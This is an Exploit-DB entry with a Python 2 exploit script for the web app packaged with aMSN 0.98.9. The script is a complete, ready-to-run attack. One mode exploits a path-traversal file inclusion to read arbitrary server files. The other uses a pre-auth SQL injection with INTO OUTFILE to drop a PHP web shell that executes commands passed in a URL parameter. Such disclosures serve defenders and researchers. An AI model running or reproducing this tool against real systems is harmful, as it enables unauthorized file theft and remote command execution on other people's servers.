aMSN 0.98.9 Web App - Multiple Vulnerabilities



EDB-ID: 28960 CVE: N/A OSVDB-ID: 98458
Author: drone Published: 2013-10-14 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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# Exploit Title: aMSN LFI/SQLi
# Date: 10/09/2013
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.amsn-project.net
# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
# Version: 0.98.9
# Fixed in: SVN repositories (r12422)
# Tested on: Ubuntu 12.04 (apparmor disabled)

from argparse import ArgumentParser
import urllib2
import string
import random

"""
    Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
"""

def lfi(options):
    """ exploit the LFI
    """
    addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
                            options.ip, options.root, options.lfi)
    data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
    print data

def run(options):
    """ exploit lfi or sqli
    """
    if options.lfi:
        return lfi(options)

    shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
    sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)

    # ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
    exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
              'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)

    urllib2.urlopen(sqli + exploit)
    print '[!] Shell dropped.  http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)

def parse_args():
    parser = ArgumentParser()
    parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
    parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
                              metavar='[file]')
    parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
                              default='/amsn')
    parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
                              default='/var/www/amsn')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.root = options.root if options.root[-1] != '/' else options.root[:-1]
    return options

if __name__ == "__main__":
    run(parse_args())